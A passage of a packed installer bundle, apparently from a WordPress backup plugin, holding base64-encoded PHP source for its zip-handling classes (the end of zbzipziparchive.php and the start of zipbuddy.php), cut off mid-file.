0KCQkJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgkJCgl9IC8vIGVuZCBwbHVnaW5idWRkeV96YnppcHppcGFyY2hpdmUgY2xhc3MuCQoJCn0KPz4K
###PACKDATA,FILE_END,/lib/zipbuddy/zbzipziparchive.php,importbuddy/lib/zipbuddy/zbzipziparchive.php
###PACKDATA,FILE_START,/lib/zipbuddy/zipbuddy.php,importbuddy/lib/zipbuddy/zipbuddy.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5IENsYXNzIChFeHBlcmltZW50YWwpCiAqCiAqCUhhbmRsZXMgemlwcGluZyBhbmQgdW56aXBwaW5nLCB1c2luZyB0aGUgYmVzdCBtZXRob2RzIGF2YWlsYWJsZSBhbmQgZmFsbGluZyBiYWNrIHRvIHdvcnNlIG1ldGhvZHMKICoJYXMgbmVlZGVkIGZvciBjb21wYXRpYmlsaXR5LiBBbGxvd3MgZm9yIGZvcmNpbmcgY29tcGF0aWJpbGl0eSBtb2Rlcy4KICoJCiAqCVZlcnNpb246IDEuMC4wCiAqCUF1dGhvcjogCiAqCUF1dGhvciBVUkk6IAogKgogKgogKi8KCi8vIFRlc3QgaWYgd2UgYXJlIGxvYWRpbmcgYXMgc3RhbmRhcmQgb3IgZXhwZXJpbWVudGFsIC0gaWYgZXhwZXJpbWVudGFsIGp1c3QgZHJvcCB0aHJvdWdoCmlmICggMCA9PT0gc3RyY21wKCBiYXNlbmFtZSggZGlybmFtZSggX19GSUxFX18gKSApLCAnemlwYnVkZHknICkgKSB7CgkKCS8vIExlZ2FjeSB6aXAuCglpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcF8xJ10gKSAmJiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcF8xJ10gKSApIHsKCiAgICAgICAgcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydhbHRlcm5hdGl2ZV96aXBfMSddID0gMDsKICAgICAgICBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcF8yJ10gPSAwOwogICAgICAgIHBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkKCQkvKgoJCS8vIFVzZXIgZW5hYmxlZCBleHBlcmltZW50YWwgc28gbG9vayBmb3IgaXQgYW5kIGxvYWQgaXQgaXMgZm91bmQsIG90aGVyd2lzZSBsb2cKCQkkbGVnYWN5X3ppcGJ1ZGR5ID0gZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApIC4gJy96aXBidWRkeS9sZWdhY3kuemlwYnVkZHkucGhwJzsKCQlpZiAoIEBpc19yZWFkYWJsZSggJGxlZ2FjeV96aXBidWRkeSApICkgewoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBsZWdhY3kgemlwYnVkZHkuJyApOwoJCQlyZXF1aXJlX29uY2UoICRsZWdhY3lfemlwYnVkZHkgKTsKCQkJcmV0dXJuOwoJCQkKCQl9IGVsc2UgewoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnTGVnYWN5IFppcCBTeXN0ZW0gZW5hYmxlZCBidXQgbm90IGZvdW5kL3JlYWRhYmxlIGF0OiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJCRsZWdhY3lfemlwYnVkZHkgKSApOwoJCQkKCQkKCQl9CgkJKi8KCQoJfQoJCgkKCS8vIEN1cnJlbnRseSBsb2FkaW5nIGFzIHN0YW5kYXJkIHNvIGRldGVybWluZSBpZiB3ZSBuZWVkIHRvIGxvYWQgZXhwZXJpbWVudGFsCglpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcF8yJ10gKSAmJiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcF8yJ10gKSApIHsKCQoJCS8vIFVzZXIgZW5hYmxlZCBleHBlcmltZW50YWwgc28gbG9vayBmb3IgaXQgYW5kIGxvYWQgaXQgaXMgZm91bmQsIG90aGVyd2lzZSBsb2cKCQkkZXhwZXJpbWVudGFsX3ppcGJ1ZGR5ID0gZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApIC4gJy94emlwYnVkZHkvemlwYnVkZHkucGhwJzsKCQlpZiAoIEBpc19yZWFkYWJsZSggJGV4cGVyaW1lbnRhbF96aXBidWRkeSApICkgewoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBleHBlcmltZW50YWwgemlwYnVkZHkuJyApOwoJCQlyZXF1aXJlX29uY2UoICRleHBlcmltZW50YWxfemlwYnVkZHkgKTsKCQkJCgkJfSBlbHNlIHsKCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnQWx0ZXJuYXRlIFppcCBTeXN0ZW0gZW5hYmxlZCBidXQgbm90IGZvdW5kL3JlYWRhYmxlIGF0OiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGV4cGVyaW1lbnRhbF96aXBidWRkeSApICk7CgoJCQoJCX0KCQoJfQoKfSAKCmlmICggIWNsYXNzX2V4aXN0cyggInBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5IiApICkgewoKCWNsYXNzIHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5IHsKCQoJCWNvbnN0IFpJUF9NRVRIT0RTX1RSQU5TSUVOVCA9ICdwYl9iYWNrdXBidWRkeV9hdmFpbF96aXBfbWV0aG9kcyc7CgkJY29uc3QgWklQX01FVEhPRFNfVFJBTlNJRU5UX0VYUEVSSU1FTlRBTCA9ICdwYl9iYWNrdXBidWRkeV9hdmFpbF94emlwX21ldGhvZHMnOwoJCWNvbnN0IFpJUF9NRVRIT0RTX1RSQU5TSUVOVF9MSUZFID0gNDMyMDA7IC8vIDEyIEhvdXJzIC0gcmVhbGx5IHNob3VsZG4ndCBjaGFuZ2UgdW5sZXNzIHNlcnZlciBwcm9ibGVtCgkJY29uc3QgTk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SID0gJy8nOwoJCWNvbnN0IERJUkVDVE9SWV9TRVBBUkFUT1JTID0gJy9cXCc7CgoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgcGx1Z2luIHBhdGggZm9yIHRoaXMgcGx1Z2luCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBzdHJpbmcKICAgICAgICAgKi8KICAgICAgICBwdWJsaWMgJF9wbHVnaW5QYXRoID0gJyc7CgogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBwYXRoIG9mIHRoZSB0ZW1wb3JhcnkgZGlyZWN0b3J5IHRoYXQgY2FuIGJlIHVzZWQgZm9yIGNyZWF0aW5nIGZpbGVzIGFuZCBzdHVmZgogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgc3RyaW5nCiAgICAgICAgICovCiAgICAgICAgcHJvdGVjdGVkICRfdGVtcGRpciA9ICIiOwogICAgICAgIAogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBsaXN0IG9mIHppcCBtZXRob2RzIHRoYXQgYXJlIHJlcXVlc3RlZCB0byBiZSB1c2VkCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBhcnJheSBvZiBzdHJpbmcKICAgICAgICAgKi8KICAgICAgICBwcm90ZWN0ZWQgJF9yZXF1ZXN0ZWRfemlwX21ldGhvZHMgPSBhcnJheSgpOwoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgbW9kZSB3aGljaCB0aGUgb2JqZWN0IGlzIGJlaW5nIGNyZWF0ZWQgZm9yCiAgICAgICAgICogTm90ZTogVGhpcyBpcyBub3cgaWdub3JlZCBhcyBhbiBvYmplY3QgaXMgaW5zdGFudGlhdGVkIGZvciBib3RoIHppcCAmIHVuemlwIHNlcnZpY2VzCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBzdHJpbmcKICAgICAgICAgKi8KICAgICAgICBwcm90ZWN0ZWQgJF9tb2RlID0gIiI7CgogICAgICAgIC8qKgogICAgICAgICAqIFN0YXR1cyBtZXNzYWdlIGFycmF5IHVzZWQgd2hlbiBjYWxsaW5nIG90aGVyIG1ldGhvZHMgdG8gZ2V0IHN0YXR1cyBpbmZvcm1hdGlvbiBiYWNrCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBhcnJheSBvZiBzdHJpbmcKICAgICAgICAgKi8KICAgICAgICBwdWJsaWMgJF9zdGF0dXMgPSBhcnJheSgpOwoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgbGlzdCBvZiB6aXAgbWV0aG9kcyB0aGF0IGFyZSB0byBiZSB1c2VkIG9yIGFyZSBhdmFpbGFibGUKICAgICAgICAgKiBIYWQgdG8gbWFrZSB0aGlzIHB1YmxpYyBmb3Igbm93IGJlY2F1c2Ugc29tZXRoaW5nIGFjY2Vzc2VzIGl0IGRpcmVjdGx5IC0gYmFkIGthcm1hCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBhcnJheSBvZiBzdHJpbmcKICAgICAgICAgKi8KICAgICAgICBwdWJsaWMgJF96aXBfbWV0aG9kcyA9IGFycmF5KCk7CiAgICAgICAgCiAgICAgICAgLyoqCiAgICAgICAgICogVGhlIGRldGFpbHMgb2YgdGhlIHZhcmlvdXMgemlwIG1ldGhvZHMgdGhhdCBhcmUgYXZhaWxhYmxlCiAgICAgICAgICogSGF2ZSB0byBtYWtlIHRoaXMgYSBzZXBhcmF0ZSBhcnJheSBpbmRleGVkIGJ5IHRoZSBtZXRob2QgdGFnLiBJZGVhbGx5IHdvdWxkIGJlIGNvbWJpbmVkCiAgICAgICAgICogd2l0aCB0aGUgemlwIG1ldGhvZHMgYXJyYXkgYnV0IHRoYXQgd291bGQgaW52b2x2ZSBtb3JlIGdlbmVyYWwgY2hhbmdlcyBlbHNld2hlcmUgc28gdGhhdAogICAgICAgICAqIHJlZmFjdG9yaW5nIGNhbiBiZSBkb25lIGxhdGVyIC0gbWFpbiBwcm9ibGVtIGlzIHRoZSBkaXJlY3QgYWNjZXNzIHRvIHRoZSB6aXAgbWV0aG9kcwogICAgICAgICAqIGFycmF5IHRoYXQgaXMgbWFkZSByYXRoZXIgdGhhbiB0aHJvdWdoIGEgZnVuY3Rpb24uCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBhcnJheSBvZiBhcnJheSBvZiBhcnJheQogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX3ppcF9tZXRob2RzX2RldGFpbHMgPSBhcnJheSgpOwogICAgICAgIAogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBsaXN0IG9mIHppcCBtZXRob2RzIHRoYXQgYXJlIHN1cHBvcnRlZCwgaS5lLiwgdGhlcmUgaXMgYSBzdXBwb3J0aW5nIGNsYXNzIGRlZmluZWQKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGFycmF5IG9mIHN0cmluZwogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX3N1cHBvcnRlZF96aXBfbWV0aG9kcyA9IGFycmF5KCk7CiAgICAgICAgCiAgICAgICAgLyoqCiAgICAgICAgICogV2hldGhlciBvciBub3Qgd2UgYXJlIGZvcmNlIG92ZXJyaWRpbmcgemlwIG1ldGhvZCBjYWNoaW5nIGZvciB0aGlzIGluc3RhbmNlIG9mIHppcGJ1ZGR5CiAgICAgICAgICogCiAgICAgICAgICogQHZhciBib29sZWFuCiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfemlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkID0gZmFsc2U7CgogICAgICAgIC8qKgogICAgICAgICAqIFdoZXRoZXIgb3Igbm90IHdlIGNhbiBjYWxsIGEgc3RhdHVzIGNhbGJhY2sKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGJvb2wKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF9oYXZlX3N0YXR1c19jYWxsYmFjayA9IGZhbHNlOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIE9iamVjdC0+bWV0aG9kIGFycmF5IGZvciBzdGF0dXMgZnVuY3Rpb24KICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGFycmF5CiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfc3RhdHVzX2NhbGxiYWNrID0gYXJyYXkoKTsKCQkKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgZGlyZWN0b3J5IG5hbWUgdGhhdCB3ZSBhcmUgbG9hZGVkIGZyb20gKG5vdDogbm90IHBhdGgpCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBzdHJpbmcKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF93aGVyZWFtaSA9ICIiOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIFdoZXRoZXIgd2UgYXJlIGxvYWRlZCBhcyB0aGUgZXhwZXJpbWVudGFsIHppcGJ1ZGR5CiAgICAgICAgICogCiAgICAgICAgICogQHZhciBib29sCiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfaXNfZXhwZXJpbWVudGFsID0gZmFsc2U7CgkJCiAgICAgICAgLyoqCiAgICAgICAgICogVGhlIG5hbWUgb2YgdGhlIHppcCBtZXRob2RzIHRyYW5zaWVudCB3aWxsIGJlIGRlcGVuZGVudCBvbiBpZiB3ZSBhcmUgc3RhbmRhcmQgb3IgZXhwZXJpbWVudGFsCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBzdHJpbmcKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF96aXBfbWV0aG9kc190cmFuc2llbnQgPSAiIjsKCiAgICAgICAgLyoqCiAgICAgICAgICogVGhlIFNlcnZlciBBUEkgdGhhdCBpcyBpbiB1c2UKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIHN0cmluZwogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX3NhcGlfbmFtZSA9ICIiOwoKICAgICAgICAvKioKICAgICAgICAgKiBDb252ZW5pZW5jZSBib29sZWFuIGluZGljYXRpbmcgaWYgV2FybmluZ3Mgc2hvdWxkIGJlIGlnbm9yZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlcwogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgaWdub3JlX3dhcm5pbmdzCWJvb2wKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF9pZ25vcmVfd2FybmluZ3MgPSBudWxsOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIENvbnZlbmllbmNlIGJvb2xlYW4gaW5kaWNhdGluZyBpZiBzeW1saW5rcyBzaG91bGQgYmUgaWdub3JlZC9ub3QtZm9sbG93ZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlcwogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgaWdub3JlX3N5bWxpbmtzCWJvb2wKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF9pZ25vcmVfc3ltbGlua3MgPSBudWxsOwoJCQogICAgICAgICAvKioKICAgICAgICAgKiBDb252ZW5pZW5jZSBib29sZWFuIGluZGljYXRpbmcgaWYgY29tcHJlc3Npb24gc2hvdWwgZGJlIHVzZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlcwogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgY29tcHJlc3Npb24JYm9vbAogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX2NvbXByZXNzaW9uID0gbnVsbDsKCQkKCQkvKioKCQkgKiAKCQkgKiBnZXRfdHJhbnNpZW50X25hbWVzX3N0YXRpYygpCgkJICoKCQkgKiBHZXQgdGhlIHRyYW5zaWVudCBuYW1lKHMpIHRoYXQgbWF5IGJlIGluIHVzZQoJCSAqCgkJICogQHJldHVybgkJYXJyYXkJVGhlIHRyYW5zaWVudCBuYW1lKHMpCgkJICoKCQkgKi8KCQlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF90cmFuc2llbnRfbmFtZXNfc3RhdGljKCkgewoJCQoJCQlyZXR1cm4gYXJyYXkoIHNlbGY6OlpJUF9NRVRIT0RTX1RSQU5TSUVOVCwKCQkJCQkJICBzZWxmOjpaSVBfTUVUSE9EU19UUkFOU0lFTlRfRVhQRVJJTUVOVEFMICk7CgkJCQoJCX0KCgkJLyoqCgkJICoJX19jb25zdHJ1Y3QoKQoJCSAqCQoJCSAqCURlZmF1bHQgY29uc3RydWN0b3IuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR0ZW1wX2RpcgkJVGhlIHBhdGggb2YgdGhlIHRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gdXNlCgkJICoJQHBhcmFtCQlhcnJheQkJJHppcF9tZXRob2RzCU9wdGlvbmFsOiBUaGUgc2V0IG9mIHppcCBtZXRob2RzIHJlcXVlc3RlZCB0byB1c2UKCQkgKglAcGFyYW0JCXN0cmluZwkJJG1vZGUJCQlPcHRpb25hbDogVGhlIHppcCBtb2RlIGZvciB0aGUgb2JqZWN0IChpZ25vcmVkIGN1cnJlbnRseSAtIG1heSBiZSByZXVzZWQ/KQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJHRlbXBfZGlyLCAkemlwX21ldGhvZHMgPSBhcnJheSgpLCAkbW9kZSA9ICd6aXAnICkgewoKCQkJLy8gTm9ybWFsaXplIHRoZSB0cmFpbGluZyBkaXJlY3Rvcnkgc2VwYXJhdG9yIG9uIHRoZSBwYXRoCgkJCSR0ZW1wX2RpciA9IHJ0cmltKCAkdGVtcF9kaXIsIHNlbGY6OkRJUkVDVE9SWV9TRVBBUkFUT1JTICkgLiBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQoJCQkvLyBOb3JtYWxpemUgcGxhdGZvcm0gc3BlY2lmaWMgZGlyZWN0b3J5IHNlcGFyYXRvcnMgaW4gcGF0aAoJCQkkdGhpcy0+X3RlbXBkaXIgPSBzdHJfcmVwbGFjZSggRElSRUNUT1JZX1NFUEFSQVRPUiwgc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SLCAkdGVtcF9kaXIgKTsKCQkJCgkJCS8vIE5vdGU6IHRoaXMgd2lsbCBiZSByZW1vdmVkIGFuZCBzaG91bGQgbm8gbG9uZ2VyIGJlIHVzZWQgLSBhbiBvYmplY3QgaXMgaW5zdGFudGlhdGVkIGZvcgoJCQkvLyBib3RoIHppcCAmIHVuemlwIHNlcnZpY2VzCgkJCSR0aGlzLT5fbW9kZSA9ICRtb2RlOwoJCQkKCQkJLy8gUmVjb3JkIHdoZXJlIHdlIGFyZSBsb2NhdGVkICh0aGUgZGlyZWN0b3J5IG5hbWUpCgkJCSR0aGlzLT5fd2hlcmVhbWkgPSBiYXNlbmFtZSggZGlybmFtZSggX19GSUxFX18gKSApOwoJCQkKCQkJLy8gVXNlIG91ciBsb2NhdGlvbiB0byBkZXRlcm1pbmUgd2hpY2ggemlwIG1ldGhvZHMgdHJhbnNpZW50IHdlIHNob3VsZCBiZSB1c2luZwoJCQkkdGhpcy0+X3ppcF9tZXRob2RzX3RyYW5zaWVudCA9ICggMCA9PT0gc3RyY21wKCAkdGhpcy0+X3doZXJlYW1pLCAnemlwYnVkZHknICkgKSA/IHNlbGY6OlpJUF9NRVRIT0RTX1RSQU5TSUVOVCA6IHNlbGY6OlpJUF9NRVRIT0RTX1RSQU5TSUVOVF9FWFBFUklNRU5UQUwgOwoKCQkJLy8gU2V0IGEgZmxhZyBmb3IgZWFzeSBjb25kaXRpb25hbCB0ZXN0aW5nCgkJCSR0aGlzLT5faXNfZXhwZXJpbWVudGFsID0gKCAwID09PSBzdHJjbXAoICR0aGlzLT5fd2hlcmVhbWksICd6aXBidWRkeScgKSApID8gZmFsc2UgOiB0cnVlIDsKCgkJCS8vIFNldCB0aGUgc2FwaSBuYW1lIHNvIHdlIGNhbiB1c2UgaXQgbGF0ZXIJCQkKCQkJJHRoaXMtPnNldF9zYXBpX25hbWUoKTsKCQkJCgkJCS8vIERlcml2ZSB3aGV0aGVyIHdlIGFyZSBpZ25vcmluZyBXYXJuaW5ncyBvciBub3QgKGNhbiBiZSBvdmVycmlkZGVuIGJ5IG1ldGhvZCBjYWxsKQoJCQkkdGhpcy0+c2V0X2lnbm9yZV93YXJuaW5ncygpOwoJCQkKCQkJLy8gRGVyaXZlIHdoZXRoZXIgd2UgYXJlIGlnbm9yaW5nL25vdC1mb2xsb3dpbmcgc3ltbGlua3Mgb3Igbm90IChjYW4gYmUgb3ZlcnJpZGRlbiBieSBtZXRob2QgY2FsbCkKCQkJJHRoaXMtPnNldF9pZ25vcmVfc3ltbGlua3MoKTsKCQkJCgkJCS8vIERlcml2ZSB3aGV0aGVyIGNvbXByZXNzaW9uIHNob3VsZCBiZSB1c2VkIChjYW4gYmUgb3ZlcnJpZGRlbiBieSBtZXRob2QgY2FsbCkKCQkJJHRoaXMtPnNldF9jb21wcmVzc2lvbigpOwoJCQkJCQkKCQkJLy8gTWFrZSBzdXJlIHdlIGxvYWQgdGhlIGNvcmUgYWJzdHJhY3QgY2xhc3MgYXMgdGhpcyB3aWxsIGFsd2F5cyBiZSBuZWVkZWQKCQkJcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliLycgLiAkdGhpcy0+X3doZXJlYW1pIC4gJy96YnppcGNvcmUucGhwJyApOwoJCQkKCQkJLy8gSWYgd2UgbG9hZGVkIHRoYXQgb2sgdGhlbiB0cnkgdGhlIG1ldGhvZCBzcGVjaWZpYyBjbGFzc2VzCgkJCS8vIENvdWxkIG1ha2UgdGhpcyBtb3JlIGdlbmVyaWMgYmFzZWQgb24gY29uZmlnIG9yIHNvbWVzdWNoCgkJCWlmICggY2xhc3NfZXhpc3RzKCAncGx1Z2luYnVkZHlfemJ6aXBjb3JlJyApICkgewovLyAJCQkKLy8gCQkJCS8vIE9ubHkgcHJvdmlkZSBwcm9jIG1vZGUgd2hlbiBleHBlcmltZW50YWwgemlwIGVuYWJsZWQKLy8gCQkJCWlmICggdHJ1ZSA9PT0gJHRoaXMtPl9pc19leHBlcmltZW50YWwgKSB7Ci8vIAkJCQkKLy8gCQkJCQlpbmNsdWRlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvJyAuICR0aGlzLT5fd2hlcmVhbWkgLiAnL3piemlwcHJvYy5waHAnICk7Ci8vIAkJCQkJCi8vIAkJCQkJaWYgKCBjbGFzc19leGlzdHMoICdwbHVnaW5idWRkeV96YnppcHByb2MnICkgKSB7Ci8vIAkJCQkJCi8vIAkJCQkJCWlmICggJHRoaXMtPmNoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXMoICdwbHVnaW5idWRkeV96YnppcHByb2MnICkgKSB7Ci8vIAkJCQkJCQovLyAJCQkJCQkJJHRoaXMtPnNldF9zdXBwb3J0ZWRfemlwX21ldGhvZHMoIHBsdWdpbmJ1ZGR5X3piemlwcHJvYzo6Z2V0X21ldGhvZF90YWdfc3RhdGljKCkgKTsKLy8gCQkJCQkJCQovLyAJCQkJCQl9Ci8vIAkJCQkJCQovLyAJCQkJCX0KLy8gCQkJCQovLyAJCQkJfQovLyAJCQkJCgkJCQlpbmNsdWRlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvJyAuICR0aGlzLT5fd2hlcmVhbWkgLiAnL3piemlwZXhlYy5waHAnICk7CgkJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ3BsdWdpbmJ1ZGR5X3piemlwZXhlYycgKSApIHsKCQkJCQoJCQkJCWlmICggJHRoaXMtPmNoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXMoICdwbHVnaW5idWRkeV96YnppcGV4ZWMnICkgKSB7CgkJCQkJCgkJCQkJCSR0aGlzLT5zZXRfc3VwcG9ydGVkX3ppcF9tZXRob2RzKCBwbHVnaW5idWRkeV96YnppcGV4ZWM6OmdldF9tZXRob2RfdGFnX3N0YXRpYygpICk7CgkJCQkJCQoJCQkJCX0KCgkJCQl9CgkJCQkKCQkJCWluY2x1ZGVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi8nIC4gJHRoaXMtPl93aGVyZWFtaSAuICcvemJ6aXB6aXBhcmNoaXZlLnBocCcgKTsKCQkJCWlmICggY2xhc3NfZXhpc3RzKCAncGx1Z2luYnVkZHlfemJ6aXB6aXBhcmNoaXZlJyApICkgewoJCQkJCgkJCQkJaWYgKCAkdGhpcy0+Y2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llcyggJ3BsdWdpbmJ1ZGR5X3piemlwemlwYXJjaGl2ZScgKSApIHsKCQkJCQkKCQkJCQkJJHRoaXMtPnNldF9zdXBwb3J0ZWRfemlwX21ldGhvZHMoIHBsdWdpbmJ1ZGR5X3piemlwemlwYXJjaGl2ZTo6Z2V0X21ldGhvZF90YWdfc3RhdGljKCkgKTsKCQkJCQkJCgkJCQkJfQoKCQkJCX0KCQkJCQoJCQkJaW5jbHVkZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliLycgLiAkdGhpcy0+X3doZXJlYW1pIC4gJy96YnppcHBjbHppcC5waHAnICk7CgkJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ3BsdWdpbmJ1ZGR5X3piemlwcGNsemlwJyApICkgewoJCQkJCgkJCQkJaWYgKCAkdGhpcy0+Y2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llcyggJ3BsdWdpbmJ1ZGR5X3piemlwcGNsemlwJyApICkgewoJCQkJCQoJCQkJCQkkdGhpcy0+c2V0X3N1cHBvcnRlZF96aXBfbWV0aG9kcyggcGx1Z2luYnVkZHlfemJ6aXBwY2x6aXA6OmdldF9tZXRob2RfdGFnX3N0YXRpYygpICk7CgkJCQkJCQoJCQkJCX0KCgkJCQl9CgkJCQkKCQkJfQoJCQkKIAkJCS8vIFdvcmsgb3V0IHRoZSBsaXN0IG9mIHppcCBtZXRob2RzIGZyb20gdGhlIHJlcXVlc3RlZCBhbmQgYXZhaWxhYmxlIGFsb25nIHdpdGggdGhlaXIgZGV0YWlscwoJCQkkdGhpcy0+c2V0X3ppcF9tZXRob2RzKCAkemlwX21ldGhvZHMgKTsKCQkJCgkJfQoJCQoJCQoJCS8qKgoJCSAqCV9fZGVzdHJ1Y3QoKQoJCSAqCQoJCSAqCURlZmF1bHQgZGVzdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcmV0dXJuCQludWxsCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCggKSB7CgoJCX0KCQkKCQkvKioKCQkgKglzZXRfc2FwaV9uYW1lKCkKCQkgKgoJCSAqCVNldHMgdGhlIHNhcGkgbmFtZSB0byB0aGF0IGdpdmVuIG9yIHJldHJpZXZlcyBmcm9tIFBIUAoJCSAqCVRPRE86IEV4dGVuZCB0byBhbHNvIHNldCBhIHNhcGkgaWQgY29uc3RhbnQgYmFzZWQgb24gdGhlIG5hbWU/CgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nCSRuYW1lCUEgc2FwaSBuYW1lIHRvIHNldCAoZGVmYXVsdCBlbXB0eSkKCQkgKglAcmV0dXJuCW9iamVjdAkJCVRoaXMgb2JqZWN0CgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9zYXBpX25hbWUoICRzYXBpX25hbWUgPSAiIiApIHsKCQkKCQkJaWYgKCBlbXB0eSggJHNhcGlfbmFtZSApICkgewoJCQkJCgkJCQkkc2FwaV9uYW1lID0gcGhwX3NhcGlfbmFtZSgpOwoJCQkJCgkJCX0KCQkJCgkJCSR0aGlzLT5fc2FwaV9uYW1lID0gJHNhcGlfbmFtZTsKCQkJCgkJCXJldHVybiAkdGhpczsKCQkJCgkJfQoKCQkvKioKCQkgKglnZXRfc2FwaV9uYW1lKCkKCQkgKgoJCSAqCVJldHVybnMgdGhlIHByZXZpb3VzbHkgc2V0IHNhcGkgbmFtZQoJCSAqCgkJICoJQHJldHVybglzdHJpbmcJCQlUaGUgc3RvcmVkIHNhcGkgbmFtZQoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfc2FwaV9uYW1lKCkgewoJCQkKCQkJcmV0dXJuICR0aGlzLT5fc2FwaV9uYW1lOwoJCQkKCQl9CgoJCS8qKgoJCSAqCWRlcml2ZV9vcHRpb25hbF9ib29sKCkKCQkgKgoJCSAqCVV0aWxpdHkgZnVuY3Rpb24gdG8gZGVyaXZlIHRoZSB2YWx1ZSBvZiBhbiBvcHRpb25hbCBib29sZWFuIGZsYWcgYmFzZWQgb24gZWl0aGVyCgkJICoJYSBzcGVjaWZjIHZhbHVlIGJlaW5nIGdpdmVuIG9yIHRoZSByZWxhdGVkIGdsb2JhbCBvcHRpb24gYmVpbmcgc2V0IG9yIGEgZ2l2ZW4KCQkgKglkZWZhdXRsIHZhbHVlIG90aGVyaXNlLiBJZiB0aGUgcHJvdmlkZWQgJHZ